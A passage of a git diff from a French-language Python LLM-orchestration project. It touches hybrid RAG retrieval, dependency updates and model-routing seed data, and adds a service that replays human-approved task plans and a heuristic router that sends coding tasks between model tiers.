(3ème source de fusion) embedding_matches = [] if self._embedding_store: @@ -409,28 +419,28 @@ def query(self, user_query: str, top_n: int = 3, if sec["source"] == emb_res["source"] and sec["title"] == emb_res.get("title", ""): matched_idx = idx break - + if matched_idx is not None: # Ajouter au score RRF existant rrf_scores[matched_idx] = rrf_scores.get(matched_idx, 0.0) + 1.0 / (k_rrf + emb_rank + 1) else: # Résultat trouvé uniquement par embeddings (synonymes, paraphrases) embedding_matches.append(emb_res) - + # Re-trier après fusion des 3 sources sorted_rrf = sorted(rrf_scores.items(), key=lambda x: x[1], reverse=True) logger.info(f"[RAG] Fusion triple TF-IDF+BM25+Embeddings : {len(emb_results)} résultats vectoriels intégrés") except Exception as emb_err: logger.warning(f"[RAG] Erreur de recherche vectorielle ChromaDB : {emb_err}") - + # Fallback : Recherche vectorielle via memory.db + Gemini Embeddings elif self._memory_db and self._embed_fn: try: import struct - + # Calculer l'embedding de la requête query_embedding = self._embed_fn.embed_query(user_query) - + if query_embedding: # Récupérer tous les embeddings stockés (fichiers de contexte) avec leur titre s'il s'agit d'un fait conn = self._memory_db._get_conn() @@ -440,7 +450,7 @@ def query(self, user_query: str, top_n: int = 3, LEFT JOIN facts f ON e.source_type = 'fact' AND CAST(f.id AS TEXT) = e.source_id """).fetchall() conn.close() - + # Calculer la similarité cosinus avec chaque chunk (optimisé avec numpy) vector_scores = [] try: @@ -455,19 +465,19 @@ def query(self, user_query: str, top_n: int = 3, stored_emb = struct.unpack(f'{n}f', emb_bytes) embeddings_list.append(stored_emb) valid_rows.append(row) - + if embeddings_list: q_arr = np.array(query_embedding) matrix = np.array(embeddings_list) - + # Calcul vectorisé global dot_products = np.dot(matrix, q_arr) norm_q = np.linalg.norm(q_arr) norm_matrices = np.linalg.norm(matrix, axis=1) - + norm_product = norm_q * norm_matrices cosims = np.where(norm_product > 0, dot_products / norm_product, 0.0) - + for idx, row in enumerate(valid_rows): title = row["fact_title"] if row["fact_title"] else "" vector_scores.append({ @@ -485,13 +495,13 @@ def query(self, user_query: str, top_n: int = 3, continue n = len(emb_bytes) // 4 stored_emb = list(struct.unpack(f'{n}f', emb_bytes)) - + dot = sum(a * b for a, b in zip(query_embedding, stored_emb)) norm_q = math.sqrt(sum(a * a for a in query_embedding)) norm_s = math.sqrt(sum(a * a for a in stored_emb)) - + cosim = dot / (norm_q * norm_s) if norm_q > 0 and norm_s > 0 else 0.0 - + title = row["fact_title"] if row["fact_title"] else "" vector_scores.append({ "source": f"Database/Fact #{row['source_id']}" if row["source_type"] == "fact" else row["source_id"], @@ -500,16 +510,16 @@ def query(self, user_query: str, top_n: int = 3, "score": cosim, "source_type": row["source_type"], }) - + # Trier par similarité et prendre les top résultats vector_scores.sort(key=lambda x: x["score"], reverse=True) top_vector = vector_scores[:top_n * 2] - + for emb_rank, vr in enumerate(top_vector): # [P2-3.3] Seuil sur cosinus Gemini (espace unique) — cohérent. if vr["score"] < 0.3: # Seuil de pertinence minimal continue - + # Chercher correspondance dans les sections TF-IDF matched_idx = None for idx, sec in enumerate(self.sections): @@ -520,12 +530,12 @@ def query(self, user_query: str, top_n: int = 3, if overlap > 5: matched_idx = idx break - + if matched_idx is not None: rrf_scores[matched_idx] = rrf_scores.get(matched_idx, 0.0) + 1.0 / (k_rrf + emb_rank + 1) else: embedding_matches.append(vr) - + # Re-trier après fusion des 3 sources sorted_rrf = sorted(rrf_scores.items(), key=lambda x: x[1], reverse=True) logger.info( @@ -534,12 +544,12 @@ def query(self, user_query: str, top_n: int = 3, ) except Exception as emb_err: logger.warning(f"[RAG] Erreur de recherche vectorielle memory.db : {emb_err}") - + top_sections = sorted_rrf[:top_n] - + if not top_sections: return "" - + output_parts = ["\n=== CONTEXTE TECHNIQUE CIBLÉ (RAG HYBRIDE TF-IDF+BM25+EMBEDDINGS) ==="] for idx, rrf_score in top_sections: sec = self.sections[idx] @@ -548,7 +558,7 @@ def query(self, user_query: str, top_n: int = 3, f"\nSource : {sec['source']} > {sec['title']} (Score RRF : {rrf_score:.4f})\n" f"{sec['content']}" ) - + # Ajouter les résultats uniquement trouvés par embeddings for emb_match in embedding_matches[:2]: output_parts.append( @@ -556,13 +566,13 @@ def query(self, user_query: str, top_n: int = 3, f"(Similarité : {emb_match['score']:.4f})\n" f"{emb_match['content'][:500]}" ) - + result_text = "\n".join(output_parts) - + # Enregistrement dans le cache avec éviction simple if len(self.query_cache) >= self.max_cache_size: first_key = next(iter(self.query_cache)) del self.query_cache[first_key] - + self.query_cache[cache_key] = result_text return result_text diff --git a/memory/skills.py b/memory/skills.py index 3479bd3..355b4fe 100644 --- a/memory/skills.py +++ b/memory/skills.py @@ -23,15 +23,15 @@ ] """ -import os +import asyncio import json import logging +import os import time -import asyncio from datetime import datetime -from typing import Optional, Dict, Any +from typing import Any -from core.safe_io import safe_json_write, file_lock # [P1-2.3] +from core.safe_io import file_lock, safe_json_write # [P1-2.3] logger = logging.getLogger(__name__) @@ -74,7 +74,7 @@ def _load(self): if os.path.exists(self.skills_file): try: with file_lock(self.skills_file): - with open(self.skills_file, 'r', encoding='utf-8') as f: + with open(self.skills_file, encoding='utf-8') as f: self._skills = json.load(f) logger.info(f"[SKILLS] {len(self._skills)} skill(s) chargé(s)") except Exception as e: @@ -135,7 +135,7 @@ def record_skill( f"[SKILLS] Skill existant renforcé : '{pattern}' " f"(succès: {skill['success_count']})" ) - + # Détection de candidat pour le ToolMaker if ( skill["success_count"] >= self.TOOLMAKING_THRESHOLD @@ -147,7 +147,7 @@ def record_skill( ) skill["toolmaking_candidate"] = True self._save() - + return # Nouveau skill @@ -315,7 +315,7 @@ def mark_as_generated(self, pattern: str, tool_path: str = "") -> bool: def record_learned_lesson(db, category: str, title: str, content: str, source_file: str = "", tags: str = "", - severity: str = "minor") -> Dict[str, Any]: + severity: str = "minor") -> dict[str, Any]: """ Enregistre une leçon apprise automatiquement (hook post-DAG). """ @@ -395,7 +395,7 @@ def record_learned_lesson(db, category: str, title: str, return result -def _get_lecon_md_path(db, category: str) -> Optional[str]: +def _get_lecon_md_path(db, category: str) -> str | None: """Retourne le chemin du fichier de leçons Markdown pour une catégorie.""" # Résoudre le chemin depuis la racine contexte_ia base = os.path.abspath( @@ -458,7 +458,7 @@ def _compute_quality_score(db, title: str, content: str, async def record_learned_lesson_async(db, category: str, title: str, content: str, source_file: str = "", tags: str = "", - severity: str = "minor") -> Dict[str, Any]: + severity: str = "minor") -> dict[str, Any]: """Enregistre asynchronement une leçon apprise (avec scoring V9 et sync Markdown).""" fact_id = await db.upsert_fact_async( category=category, title=title, content=content, diff --git a/plugins/example_weather/agent.py b/plugins/example_weather/agent.py index 7ca29e1..bac2a4f 100644 --- a/plugins/example_weather/agent.py +++ b/plugins/example_weather/agent.py @@ -6,7 +6,7 @@ """ from agents.base_agent import BaseAgent -from core.state import TaskPayload, StateUpdate +from core.state import StateUpdate, TaskPayload class WeatherAgent(BaseAgent): diff --git a/pyproject.toml b/pyproject.toml index 7eca7aa..fcc9e68 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -13,7 +13,15 @@ python_files = ["test_*.py"] # DEV optionnelle). Pour lancer avec couverture : # pip install -r requirements-dev.txt # pytest --cov=core --cov=agents --cov=tools --cov=memory --cov-report=term-missing --cov-fail-under=35 -addopts = "--tb=short -q" +# [T261] Les tests marqués `live` (vraies API réseau) sont désélectionnés par défaut : +# la suite unitaire doit rester verte sans clé d'API, quota ni réseau. +# Pour les relancer : `python -m pytest -m live` (voir tests/unit/conftest.py). +addopts = '--tb=short -q -m "not live"' +# [T261] Marqueur des tests qui appellent de vraies API réseau (Cerebras, DashScope…). +# Exclus de la suite par défaut via `addopts -m "not live"` ; relançables à la demande. +markers = [ + "live: test qui appelle une vraie API réseau — exclu de la suite par défaut, relançable avec -m live", +] [tool.coverage.run] source = ["core", "agents", "tools", "memory"] diff --git a/requirements-dev.txt b/requirements-dev.txt index c711976..3a5dc62 100644 --- a/requirements-dev.txt +++ b/requirements-dev.txt @@ -10,5 +10,5 @@ pytest-cov>=5.0 # couverture (--cov configuré dans pyproject.toml) paramiko>=5.0.0 # requis par test_failover (failover_manager SSH) # ── Qualité / lint ── -ruff>=0.15.20 # linter + isort (config dans pyproject.toml) +ruff>=0.16.2 # linter + isort (config dans pyproject.toml) mypy>=2.3.0 # typage statique (config dans pyproject.toml) diff --git a/requirements.txt b/requirements.txt index 74f4e91..4bfe152 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,35 +5,38 @@ # ───────────────────────────────────────────────────────────────────────── # ── Core / API ── -fastapi>=0.136.0 -uvicorn>=0.51.0 +fastapi>=0.141.1 +uvicorn>=0.52.1 starlette>=1.3.1 -pydantic>=2.13.0 -jinja2>=3.1.0 +pydantic>=2.13.4 +jinja2>=3.1.6 python-dotenv>=1.2.2 # ── Clients HTTP (sync + async) ── requests>=2.34.2 -httpx>=0.28.0 -aiohttp>=3.14.1 +httpx>=0.28.1 +aiohttp>=3.14.3 # ── Persistance ── aiosqlite>=0.22.1 # accès SQLite async (DAG runner) # ── MCP (serveurs Tab5-Engine, Workspace) ── -mcp>=1.27.0,<2.0.0 # borne haute : mcp 2.x a retiré mcp.server.fastmcp +# Plafonné à <2.0.0 : mcp 2.0.0 (28/07/2026) supprime mcp.server.fastmcp +# et casse la CI de toutes les PR dependabot en aval. Migration vers l'API v2 +# à traiter séparément. +mcp>=1.27.0,<2.0.0 # ── Mémoire vectorielle / RAG ── -chromadb>=1.5.0 -numpy>=2.4.6 +chromadb>=1.5.9 +numpy>=2.5.1 scikit-learn>=1.9.0 # ML Router (couche 2 du routage) — installé sur le Deck 2026-06-17 -onnxruntime>=1.26.0 # backend embeddings ChromaDB (all-MiniLM-L6-v2) +onnxruntime>=1.28.0 # backend embeddings ChromaDB (all-MiniLM-L6-v2) # ── Utilitaires ── -cachetools>=7.1.0 +cachetools>=7.1.6 jsonschema>=4.26.0 PyYAML>=6.0.3 -paho-mqtt>=1.6.0,<2.0 # failover_manager (MQTT) +paho-mqtt>=2.1.0,<3.0 # failover_manager (MQTT) filelock>=3.32.0 # verrous sur fichiers partagés (config.json, BDD) cryptography>=49.0.0 # chiffrement au repos de google_token.json (Fernet, MCP_TOKEN_KEY) diff --git a/scripts/gen_ha_local_fallback.py b/scripts/gen_ha_local_fallback.py index aec09c4..4b788b0 100644 --- a/scripts/gen_ha_local_fallback.py +++ b/scripts/gen_ha_local_fallback.py @@ -37,7 +37,7 @@ _CORE_SERVICES = frozenset({ "light.turn_on", "light.turn_off", "climate.turn_on", "climate.turn_off", - "script.tab5_volet_action", + "script.blind_action", }) # Phrase TTS courte par action (cohérente avec build_natural_ha_response du moteur). @@ -60,7 +60,7 @@ def _camel(text: str) -> str: def _intent_name(cmd: dict[str, Any]) -> str: service = cmd["service"] - if service == "script.tab5_volet_action": + if service == "script.blind_action": action = (cmd.get("service_data") or {}).get("action", "") return f"Tab5CoreVolet{action.title()}" domain, verb = service.split(".", 1) @@ -71,7 +71,7 @@ def _intent_name(cmd: dict[str, Any]) -> str: def _speech_for(cmd: dict[str, Any]) -> str: service = cmd["service"] - if service == "script.tab5_volet_action": + if service == "script.blind_action": action = (cmd.get("service_data") or {}).get("action", "") return _SPEECH.get(f"volet.{action}", "C'est fait.") return _SPEECH.get(service, "C'est fait.") @@ -79,7 +79,7 @@ def _speech_for(cmd: dict[str, Any]) -> str: def _action_for(cmd: dict[str, Any]) -> dict[str, Any]: service = cmd["service"] - if service == "script.tab5_volet_action": + if service == "script.blind_action": return {"service": service, "data": dict(cmd.get("service_data") or {})} action: dict[str, Any] = {"service": service} if cmd.get("entity_id"): @@ -145,3 +145,4 @@ def main() -> None: if __name__ == "__main__": main() + diff --git a/seed_models_db.py b/seed_models_db.py index aaaf23b..9025848 100644 --- a/seed_models_db.py +++ b/seed_models_db.py @@ -44,7 +44,7 @@ def seed_providers(): "id": "local", "name": "LM Studio (Local)", "type": "local", - "api_endpoint": "http://${OLLAMA_HOST:-192.168.1.x}:1234/v1/chat/completions", + "api_endpoint": "http://${LM_STUDIO_HOST:-192.168.1.x}:1234/v1/chat/completions", "auth_method": "local", "confidentiality": "total", "cascade_priority": 1.0, @@ -367,14 +367,16 @@ def seed_models(): {"id": "cloud-vision", "provider_id": "cloud_apis", "display_name": "Cloud Vision API", "tier": "paid", "speciality": "vision", "recommended_use": "Analyse d'images Google Cloud"}, {"id": "cloud-translation", "provider_id": "cloud_apis", "display_name": "Cloud Translation API", "tier": "paid", "speciality": "traduction", "recommended_use": "Traduction multilingue Google Cloud"}, - # ═══ MiniMax, Imagen, Veo, Flux (Spécialisés) ═══ + # ═══ MiniMax, Imagen, Veo (Spécialisés) ═══ + # NB : flux-1.1-pro retiré (#T252) — le provider `flux` a été supprimé le + # 05/07/2026, aucun transport LLM n'existe dans le gateway (cf. docstring + # core/llm/builtin_providers.py) ; l'INSERT violait la clé étrangère. {"id": "minimax-m3", "provider_id": "minimax", "display_name": "MiniMax M3", "tier": "paid", "routing_tier": "fort", "context_input": 64000, "context_output": 4096, "cost_input_per_m": 1.20, "cost_output_per_m": 1.20, "supports_tools": 1, "speciality": "polyvalent", "recommended_use": "Modèle d'écriture créative et multilingue"}, {"id": "MiniMax-M2", "provider_id": "minimax", "display_name": "MiniMax M2", "tier": "paid", "routing_tier": "leger", "context_input": 64000, "context_output": 4096, "cost_input_per_m": 0.15, "cost_output_per_m": 0.6, "supports_tools": 1, "speciality": "polyvalent", "recommended_use": "Tier léger, câblé dans core/llm_gateway.py mais absent du catalogue avant migration routing_tier (07/07/2026)"}, {"id": "MiniMax-M2.1-highspeed", "provider_id": "minimax", "display_name": "MiniMax M2.1 (Highspeed)", "tier": "paid", "routing_tier": "leger", "context_input": 64000, "context_output": 4096, "cost_input_per_m": 0.3, "cost_output_per_m": 1.2, "supports_tools": 1, "speciality": "polyvalent_rapide", "recommended_use": "Tier léger rapide, câblé dans core/llm_gateway.py mais absent du catalogue avant migration routing_tier (07/07/2026)"}, {"id": "MiniMax-M2.5-highspeed", "provider_id": "minimax", "display_name": "MiniMax M2.5 (Highspeed)", "tier": "paid", "routing_tier": "moyen", "context_input": 64000, "context_output": 4096, "cost_input_per_m": 0.3, "cost_output_per_m": 1.2, "supports_tools": 1, "speciality": "polyvalent_rapide", "recommended_use": "Tier moyen rapide, câblé dans core/llm_gateway.py mais absent du catalogue avant migration routing_tier (07/07/2026)"}, {"id": "imagen-4", "provider_id": "cloud_apis", "display_name": "Imagen 4", "tier": "paid", "speciality": "images", "recommended_use": "Génération d'images photoréalistes Google"}, {"id": "veo-3", "provider_id": "cloud_apis", "display_name": "Veo 3", "tier": "paid", "speciality": "videos", "recommended_use": "Génération de vidéos cinématiques Google"}, - {"id": "flux-1.1-pro", "provider_id": "flux", "display_name": "Flux 1.1 Pro", "tier": "paid", "speciality": "images", "recommended_use": "Génération d'images ultra-précises (BFL)"}, ] count = 0 @@ -568,6 +570,15 @@ def seed_routing_rules(): {"task_type": "recherche_web", "recommended_model": "gemini-3.5-flash-paid", "provider_id": "gemini_paid", "justification": "Search Grounding débloqué", "effective_cost": "1.28 EUR/M"}, {"task_type": "confidentiel", "recommended_model": "qwen2.5-14b-instruct-1m", "provider_id": "local", "justification": "100% local, confidentialité totale", "effective_cost": "0.00 $/M"}, {"task_type": "embeddings", "recommended_model": "nomic-embed-text-v1.5", "provider_id": "local", "justification": "Embeddings airgapped", "effective_cost": "0.00 $/M"}, + + # ═══ DASHSCOPE CODING PLAN (forfait ~¥40/mois amorti) ═══ + # Forfait Lite : quota 4 requêtes/min et ~600/jour → recommandé pour du code + # interactif à faible débit (pas pour routine_batch / fort débit). + {"task_type": "code_generation", "recommended_model": "dashscope/qwen3-coder-next", "provider_id": "dashscope", "justification": "Défaut Coding Plan : code sans thinking, forfait amorti (~¥40/mois) — quota 4 RPM/600 j, pas pour fort débit", "effective_cost": "0.00 $/M (forfait ~¥40/mois amorti)"}, + {"task_type": "code_complexe", "recommended_model": "dashscope/qwen3-coder-plus", "provider_id": "dashscope", "justification": "Code + contexte 1M (sans thinking), forfait amorti (~¥40/mois) — quota 4 RPM/600 j, pas pour fort débit", "effective_cost": "0.00 $/M (forfait ~¥40/mois amorti)"}, + {"task_type": "code_revision", "recommended_model": "dashscope/qwen3.7-plus", "provider_id": "dashscope", "justification": "Flagship vision + thinking, forfait amorti (~¥40/mois) — quota 4 RPM/600 j, pas pour fort débit", "effective_cost": "0.00 $/M (forfait ~¥40/mois amorti)"}, + {"task_type": "refactoring", "recommended_model": "dashscope/glm-5", "provider_id": "dashscope", "justification": "GLM-5 thinking via forfait Alibaba, forfait amorti (~¥40/mois) — quota 4 RPM/600 j, pas pour fort débit", "effective_cost": "0.00 $/M (forfait ~¥40/mois amorti)"}, + {"task_type": "agentique", "recommended_model": "dashscope/kimi-k2.5", "provider_id": "dashscope", "justification": "Kimi K2.5 vision + agentique, forfait amorti (~¥40/mois) — quota 4 RPM/600 j, pas pour fort débit", "effective_cost": "0.00 $/M (forfait ~¥40/mois amorti)"}, ] count = 0 diff --git a/services/approval_resume_service.py b/services/approval_resume_service.py new file mode 100644 index 0000000..6fbf59c --- /dev/null +++ b/services/approval_resume_service.py @@ -0,0 +1,194 @@ +""" +services/approval_resume_service.py — Reprise d'un plan après approbation humaine (#T267). + +C'est la seconde moitié du HITL non bloquant : `core/engine.py` suspend la session +et persiste le DAG, ce module le rejoue quand l'humain a tranché. + +DEUX RÈGLES DE SÉCURITÉ, PAS DE CONFORT +1. Le DAG rejoué est **exactement** celui qui a été stocké. Il n'est jamais + re-planifié : approuver le plan A et exécuter un plan B re-généré viderait + l'approbation de son sens (et c'est d'autant plus vrai ici que le HITL ne se + déclenche QUE sur les plans à risque — write_file, run_terminal, suppression). +2. La branche Git éphémère de la session suspendue n'est finalisée qu'ICI : + fusionnée si la reprise réussit, annulée si le plan est rejeté. Tant que la + décision n'est pas prise, elle reste en place — c'est le travail en attente. +""" + +import logging +from typing import Any + +from core import hitl_store + +logger = logging.getLogger(__name__) + + +async def _nettoyer_mcp(mcp_bridge) -> None: + """Ferme le bridge MCP sans jamais faire échouer la reprise pour autant.""" + try: + await mcp_bridge.stop() + except Exception as e: + logger.debug(f"[REPRISE] Arrêt MCP ignoré : {e}") + + +def _finaliser_git(engine, git_branch: str | None, succes: bool, tasks_status: dict) -> None: + """ + Finalise la branche éphémère laissée en place par la session suspendue. + + `_finalize_git` attend `has_error` (et non « succès ») et exige, quand + `tasks_status` est fourni, que TOUTES les tâches soient en `success` pour + fusionner — on lui passe donc les statuts réels, sans les maquiller. + """ + if not git_branch: + return + try: + from tools.git_safety import git_finalize_agent_branch + engine._finalize_git(git_branch, not succes, tasks_status, git_finalize_agent_branch) + except Exception as e: + logger.error(f"[REPRISE] Finalisation Git impossible sur '{git_branch}' : {e}") + + +async def reprendre_apres_approbation( + request_id: str, on_event_callback=None +) -> dict[str, Any]: + """ + Rejoue le DAG approuvé d'une demande HITL. + + Doit être appelée APRÈS `hitl_store.marquer_decision(request_id, True)` : + c'est cette transition (acceptée seulement depuis `pending`) qui garantit + qu'un double clic sur « Approuver » ne relance pas deux fois le même plan. + + Returns: + dict avec `status` ∈ {completed, error, introuvable, non_approuve, vide}. + """ + demande = hitl_store.lire_demande(request_id) + if not demande: + logger.warning(f"[REPRISE] Demande {request_id} introuvable.") + return {"status": "introuvable", "request_id": request_id} + + if demande["status"] != hitl_store.STATUT_APPROUVE: + logger.warning( + f"[REPRISE] Demande {request_id} en statut '{demande['status']}' — " + f"seule une demande approuvée est rejouable." + ) + return {"status": "non_approuve", "request_id": request_id, "statut": demande["status"]} + + taches_brutes = demande.get("dag_tasks") or [] + if not taches_brutes: + # DAG vide ou illisible : ne rien exécuter, et le dire. Rejouer « rien » + # en annonçant un succès serait le pire des retours. + logger.error(f"[REPRISE] Demande {request_id} sans DAG exploitable — reprise abandonnée.") + hitl_store.marquer_reprise(request_id, succes=False) + return {"status": "vide", "request_id": request_id} + + from core.execution_budget import ExecutionBudget + from core.llm_gateway import load_config + from core.state import TaskPayload + from services.pipeline_service import monter_moteur + + session_id = demande["session_id"] + objectif = demande.get("objective") or "" + + # Reconstruction fidèle des tâches approuvées. + taches = [TaskPayload(**t) for t in taches_brutes] + + logger.info( + f"[REPRISE] [T267] Rejeu du DAG approuvé {request_id} : " + f"{len(taches)} tâche(s), session {session_id}, branche {demande.get('git_branch') or '—'}." + ) + + config = load_config() + engine, registry, mcp_bridge, _gateway = monter_moteur(session_id, objectif, config) + if on_event_callback: + engine.on_event = on_event_callback + + # [#T253] Restaurer le contrat d'acceptation dans l'historique du moteur. + # `ReviewLoop._criteres_du_plan()` le cherche dans `state.history` — or ce + # moteur vient d'être monté, son historique est VIDE : sans cette + # restauration, le contrat posé par le Planner meurt avec la session + # suspendue et n'est jamais évalué (mesuré en prod le 11/08 : un plan + # approuvé, 2 critères émis, 0 vérifié). On reconstitue le porteur plutôt + # que d'ajouter un chemin parallèle : la reprise doit ressembler au chemin + # normal, pas le contourner. + criteres = demande.get("criteres") or [] + if criteres: + from core.acceptance_contract import CLE_CONTRAT + from core.state import StateUpdate + engine.state.history.append(StateUpdate( + agent_name="planner", + status="success", + result_data="Plan approuvé par l'humain — contrat restauré pour la reprise.", + metadata={CLE_CONTRAT: criteres}, + )) + logger.info( + f"[REPRISE] [T253] Contrat d'acceptation restauré : {len(criteres)} critère(s)." + ) + else: + logger.info("[REPRISE] [T253] Aucun contrat d'acceptation associé à cette demande.") + + tasks_status: dict = {} + has_error = True + try: + await mcp_bridge.start(registry, user_prompt=objectif) + budget = ExecutionBudget.from_config(session_id) + # [#T253] `executer_dag_et_controles` et NON `execute_dag` : la reprise doit + # passer par exactement les mêmes contrôles que le chemin normal — revue + # post-DAG, contrat d'acceptation, enregistrement des skills. Appeler + # `execute_dag` directement les sautait tous : mesuré le 11/08, un plan + # approuvé par un humain fusionnait sans qu'aucun de ses 2 critères + # d'acceptation ne soit évalué. C'est pourtant le plan qui en a le plus + # besoin, puisque c'est celui qui touche à des fichiers. + tasks_status, has_error = await engine.executer_dag_et_controles( + dag_tasks=taches, + objectif=objectif, + max_session_tokens=budget.max_tokens, + budget=budget, + ) + except Exception as e: + has_error = True + logger.error(f"[REPRISE] Échec de l'exécution reprise {request_id} : {e}") + finally: + await _nettoyer_mcp(mcp_bridge) + + _finaliser_git(engine, demande.get("git_branch"), not has_error, tasks_status) + hitl_store.marquer_reprise(request_id, succes=not has_error) + + logger.info( + f"[REPRISE] [T267] Demande {request_id} rejouée — " + f"{'échec' if has_error else 'succès'} ({len(tasks_status)} tâche(s))." + ) + return { + "status": "error" if has_error else "completed", + "request_id": request_id, + "session_id": session_id, + "tasks_status": tasks_status, + } + + +def annuler_apres_rejet(request_id: str) -> dict[str, Any]: + """ + Nettoie la branche éphémère d'un plan rejeté. + + Sans cette étape, un rejet laisserait la branche de la session suspendue + pendante indéfiniment — le dépôt de travail resterait dessus, et le + déploiement suivant hériterait d'un état non validé. + """ + demande = hitl_store.lire_demande(request_id) + if not demande: + return {"status": "introuvable", "request_id": request_id} + + git_branch = demande.get("git_branch") + if not git_branch: + return {"status": "rien_a_annuler", "request_id": request_id} + + try: + from core.llm_gateway import load_config + from services.pipeline_service import monter_moteur + config = load_config() + engine, _registry, _bridge, _gw = monter_moteur(demande["session_id"], "", config) + # has_error=True → `git_finalize_agent_branch` annule au lieu de fusionner. + _finaliser_git(engine, git_branch, False, {}) + logger.info(f"[REPRISE] Branche '{git_branch}' annulée après rejet de {request_id}.") + return {"status": "annule", "request_id": request_id, "branche": git_branch} + except Exception as e: + logger.error(f"[REPRISE] Annulation impossible pour {request_id} : {e}") + return {"status": "erreur", "request_id": request_id, "erreur": str(e)} diff --git a/services/coding_front.py b/services/coding_front.py new file mode 100644 index 0000000..cb602b5 --- /dev/null +++ b/services/coding_front.py @@ -0,0 +1,173 @@ +""" +services/coding_front.py — Coding front : routeur des tâches de code (#T204). + +Remplace les sessions manuelles "toujours Claude au tarif fort" pour le code +(~90 % de l'usage LLM d'Axel) par un routage automatique : + +1. Détection de complexité AVANT l'appel (heuristique déterministe, 0 ms) : + tâche simple → tier « moyen » (codestral, deepseek, sonnet CLI...), + tâche complexe → tier « fort » (opus CLI, deepseek-v4-pro, gemini pro...). +2. Exécution via la Cascade existante (get_provider_for_tier → FallbackProvider : + Circuit Breaker, retry 429, bascule inter-modèles, Elo/coût via ProviderScorer). +3. Filet de sécurité POST-appel : si le tier « moyen » échoue (exception de toute + la cascade) ou rend une réponse manifestement vide, UNE escalade vers « fort ». + +Choix d'architecture (décisions #T204, 12/07/2026) : +- **Point d'entrée = CLI locale** (tools/code_front.py) et non un endpoint HTTP : + l'usage visé est le poste de développement (alias shell, pipe, IDE) ; les clés + API du .env y sont déjà présentes, et un aller-retour HTTP vers le Deck + n'apporterait que latence et dépendance réseau. Un endpoint /api/code pourra + réutiliser tel quel `run_coding_task()` si le besoin IHM apparaît. +- **Escalade pré-appel par heuristique déterministe** (mots-clés + longueur + + nombre de fichiers de contexte) plutôt que par LLM-juge : coût nul, latence + nulle, comportement prévisible/testable. Un juge LLM (score de qualité façon + ReviewLoop #T117) reste une évolution possible si les heuristiques se + révèlent insuffisantes à l'usage. +- **Filet post-appel volontairement minimal** (échec de cascade ou réponse + quasi vide) : le FallbackProvider bascule déjà entre modèles DU tier ; le + front n'escalade ENTRE tiers qu'une seule fois, pour garder le coût borné. +- **claude-fable-5 reste hors routage** : décision d'Axel (éviter + l'auto-escalade vers le modèle le plus cher) — cf. config.json + `routing_policy.excluded_models`. Ne pas l'ajouter aux tiers. +""" + +import logging + +logger = logging.getLogger(__name__) + +# Seuil de longueur au-delà duquel une demande de code est considérée complexe +# (aligné sur Router._detect_complexity, core/router.py). +COMPLEX_PROMPT_LENGTH = 220 + +# Nombre de fichiers de contexte au-delà duquel la tâche est multi-fichiers → fort +COMPLEX_FILES_THRESHOLD = 2 + +# Signaux lexicaux d'une tâche de code structurelle/architecturale +COMPLEX_CODE_KEYWORDS = [ + "refactor", "architecture", "audit", "migration", "migrer", + "race condition", "deadlock", "multithread", "multi-thread", "asyncio", + "concurrence", "concurrent", "parallèle", "parallele", + "circuit breaker", "dag", "optimise", "optimiser", "optimisation", + "réécri", "reecri", "redesign", "conception", "plusieurs fichiers", + "multi-fichiers", "toute la codebase", "tout le module", "self-healing", +] + +# En-dessous de cette taille, une réponse du tier moyen est jugée inutilisable +# (filet de sécurité post-appel — pas un juge de qualité). +MIN_USABLE_RESPONSE_CHARS = 50 + +CODING_SYSTEM_PROMPT = ( + "Tu es le coding front du tab5-engine, un ingénieur logiciel senior " + "(Python/asyncio, C++/ESPHome, TypeScript/React, YAML Home Assistant).\n" + "Règles strictes du projet :\n" + "- Tous les commentaires de code en FRANÇAIS.\n" + "- Jamais de secret/clé API en clair (utiliser !secret ou variables d'env).\n" + "- Réponds directement avec le code demandé dans des blocs ``` et des " + "explications concises. Pas de préambule inutile." +) + + +def detect_code_complexity(prompt: str, context_files: list[str] | None = None) -> bool: + """ + Heuristique déterministe : la tâche de code justifie-t-elle le tier fort ? + + True si le prompt est long, contient un signal structurel/architectural, + ou embarque plus de COMPLEX_FILES_THRESHOLD fichiers de contexte. + """ + if len(prompt) > COMPLEX_PROMPT_LENGTH: + return True + prompt_lower = prompt.lower() + if any(kw in prompt_lower for kw in COMPLEX_CODE_KEYWORDS): + return True + if context_files and len(context_files) > COMPLEX_FILES_THRESHOLD: + return True + return False + + +def _build_user_prompt(prompt: str, file_contents: dict[str, str] | None) -> str: + """Assemble le prompt utilisateur avec les fichiers de contexte éventuels.""" + if not file_contents: + return prompt + parts = [prompt, "\n\n=== FICHIERS DE CONTEXTE ==="] + for path, content in file_contents.items(): + parts.append(f"\n--- {path} ---\n{content}") + return "\n".join(parts) + + +async def run_coding_task( + prompt: str, + file_contents: dict[str, str] | None = None, + force_tier: str | None = None, + gateway=None, + config: dict | None = None, +) -> dict: + """ + Route et exécute une tâche de code avec escalade automatique moyen→fort. + + Args: + prompt: Demande de code. + file_contents: {chemin: contenu} des fichiers de contexte (optionnel). + force_tier: "moyen"/"fort" pour court-circuiter la détection (optionnel). + gateway: LLMGateway injectable (tests) — instancié sinon. + config: config.json déjà chargée (tests) — load_config() sinon. + + Returns: + {"response": str, "tier_requested": str, "tier_used": str, + "model": str, "complex": bool, "escalated": bool} + """ + from core.llm_gateway import LLMGateway, load_config + + if gateway is None: + gateway = LLMGateway() + if config is None: + config = load_config() + + is_complex = detect_code_complexity(prompt, list(file_contents or {})) + tier = force_tier or ("fort" if is_complex else "moyen") + user_prompt = _build_user_prompt(prompt, file_contents) + + escalated = False + model_name, provider = gateway.get_provider_for_tier(tier, config) + logger.info( + f"[CODING-FRONT] Tâche {'complexe' if is_complex else 'simple'} → tier '{tier}' ({model_name})" + ) + + try: + # [T287] Front de codage : conventions du projet demandées explicitement. + # Elles ne sont plus injectées d'office sur tous les appels du moteur. + response = await provider.generate_async( + CODING_SYSTEM_PROMPT, user_prompt, conventions_projet=True + ) + usable = isinstance(response, str) and len(response.strip()) >= MIN_USABLE_RESPONSE_CHARS + except Exception as e: + logger.warning(f"[CODING-FRONT] Échec de toute la cascade du tier '{tier}' : {e}") + response, usable = None, False + + # Filet de sécurité : UNE escalade moyen→fort si le tier moyen n'a rien produit + # d'utilisable (l'intra-tier est déjà géré par le FallbackProvider). + if not usable and tier == "moyen": + escalated = True + tier_final = "fort" + model_name, provider = gateway.get_provider_for_tier(tier_final, config) + logger.warning( + f"[CODING-FRONT] ⬆️ Escalade automatique moyen→fort ({model_name})" + ) + response = await provider.generate_async( + CODING_SYSTEM_PROMPT, user_prompt, conventions_projet=True + ) + else: + 